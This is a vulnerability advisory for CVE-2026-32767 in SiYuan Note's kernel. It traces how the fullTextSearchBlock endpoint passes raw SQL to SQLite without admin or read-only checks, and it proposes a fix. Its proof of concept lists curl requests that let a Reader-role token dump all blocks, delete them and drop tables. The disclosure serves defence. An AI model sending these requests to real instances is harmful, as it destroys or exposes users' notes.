PT-2026-25859 · Go · Github.Com/Siyuan-Note/Siyuan/Kernel
Published
2026-03-16
·
Updated
2026-03-16
·
CVE-2026-32767
CVSS v3.1
9.8
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Summary
SiYuan Note v3.6.0 (and likely prior versions) contains an authorization bypass vulnerability in the
/api/search/fullTextSearchBlock endpoint. When the method parameter is set to 2, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user — including those with the Reader role — to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application's database.This is inconsistent with the application's own security model: the dedicated SQL endpoint (
/api/query/sql) correctly requires both CheckAdminRole and CheckReadonly middleware, but the search endpoint bypasses these controls entirely.Root Cause Analysis
The Vulnerable Endpoint
File:
kernel/api/router.go, line 188ginServer.Handle("POST", "/api/search/fullTextSearchBlock", model.CheckAuth, fullTextSearchBlock)
This endpoint only applies
model.CheckAuth, which permits any authenticated role (Administrator, Editor, or Reader).The Properly Protected Endpoint (for comparison)
File:
kernel/api/router.go, line 177ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, SQL)
This endpoint correctly chains
CheckAdminRole and CheckReadonly, restricting SQL execution to administrators in read-write mode.The Vulnerable Code Path
File:
kernel/api/search.go, lines 389-411func fullTextSearchBlock(c *gin.Context) { // ... page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg) blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize) // ... }
File:
kernel/model/search.go, lines 1205-1206case 2: // SQL blocks, matchedBlockCount, matchedRootCount = searchBySQL(query, beforeLen, page, pageSize)
When
method=2, the raw query string is passed directly to searchBySQL().File:
kernel/model/search.go, lines 1460-1462func searchBySQL(stmt string, beforeLen, page, pageSize int) (ret []*Block, ...) { stmt = strings.TrimSpace(stmt) blocks := sql.SelectBlocksRawStmt(stmt, page, pageSize)
File:
kernel/sql/block query.go, lines 566-569, 713-714func SelectBlocksRawStmt(stmt string, page, limit int) (ret []*Block) { parsedStmt, err := sqlparser.Parse(stmt) if err != nil { return selectBlocksRawStmt(stmt, limit) // Falls through to raw execution } // ... } func selectBlocksRawStmt(stmt string, limit int) (ret []*Block) { rows, err := query(stmt) // Executes arbitrary SQL // ... }
File:
kernel/sql/database.go, lines 1327-1337func query(query string, args ...interface{}) (*sql.Rows, error) { // ... return db.Query(query, args...) // Go's database/sql db.Query — executes ANY SQL }
Go's
database/sql db.Query() will execute any SQL statement, including DELETE, UPDATE, DROP TABLE, INSERT, etc. The returned *sql.Rows will simply be empty for non-SELECT statements, but the destructive operation is still executed.Authorization Model
File:
kernel/model/session.go, lines 201-210func CheckAuth(c *gin.Context) { // Already authenticated via JWT if role := GetGinContextRole(c); IsValidRole(role, []Role{ RoleAdministrator, RoleEditor, RoleReader, // <-- Reader role passes CheckAuth }) { c.Next() return } // ... }
File:
kernel/model/session.go, lines 380-386func CheckAdminRole(c *gin.Context) { if IsAdminRoleContext(c) { c.Next() } else { c.AbortWithStatus(http.StatusForbidden) // <-- This check is MISSING on the search endpoint } }
Proof of Concept
Prerequisites
- SiYuan instance accessible over the network (e.g., Docker deployment)
- Valid authentication as any user role (including
)Reader
Steps to Reproduce
-
Authenticate to SiYuan and obtain a valid session cookie or API token.
-
Read all data (confidentiality breach):
curl -X POST http://<target>:6806/api/search/fullTextSearchBlock -H "Content-Type: application/json" -H "Authorization: Token <reader token>" -d '{"method": 2, "query": "SELECT * FROM blocks LIMIT 100"}'
- Delete all blocks (integrity/availability breach):
curl -X POST http://<target>:6806/api/search/fullTextSearchBlock -H "Content-Type: application/json" -H "Authorization: Token <reader token>" -d '{"method": 2, "query": "DELETE FROM blocks"}'
- Drop tables (availability breach):
curl -X POST http://<target>:6806/api/search/fullTextSearchBlock -H "Content-Type: application/json" -H "Authorization: Token <reader token>" -d '{"method": 2, "query": "DROP TABLE blocks"}'
- Compare with the properly protected endpoint (should return HTTP 403 for Reader role):
curl -X POST http://<target>:6806/api/query/sql -H "Content-Type: application/json" -H "Authorization: Token <reader token>" -d '{"stmt": "SELECT * FROM blocks LIMIT 10"}'
Expected Behavior
The search endpoint should reject SQL execution for non-admin users, or at minimum enforce read-only access, consistent with
/api/query/sql.Actual Behavior
Any authenticated user (including Reader role) can execute arbitrary SQL including destructive operations.
Impact
In a multi-user deployment (e.g., Docker with published access, or any network-accessible instance with access authorization code):
- Confidentiality: A Reader-role user can read all data in the SQLite database, including blocks, assets, references, and configuration data they should not have access to.
- Integrity: A Reader-role user can modify or delete any data in the database, despite having read-only access by design.
- Availability: A Reader-role user can drop tables or corrupt the database, rendering the application unusable.
Suggested Fix
Add
CheckAdminRole and CheckReadonly middleware to the search endpoint, or add explicit validation that only SELECT statements are accepted when method=2:Option A — Restrict method=2 to admin (recommended):
In
kernel/api/search.go, add a role check when method=2:func fullTextSearchBlock(c *gin.Context) { // ... page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg) // SQL mode requires admin privileges, consistent with /api/query/sql if method == 2 && !model.IsAdminRoleContext(c) { ret.Code = -1 ret.Msg = "SQL search requires administrator privileges" return } // ... }
Option B — Enforce SELECT-only for non-admin users:
Validate the parsed SQL to ensure only SELECT statements are executed when the user is not an administrator.
Fix
Incorrect Authorization
SQL injection
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Related Identifiers
Affected Products
Github.Com/Siyuan-Note/Siyuan/Kernel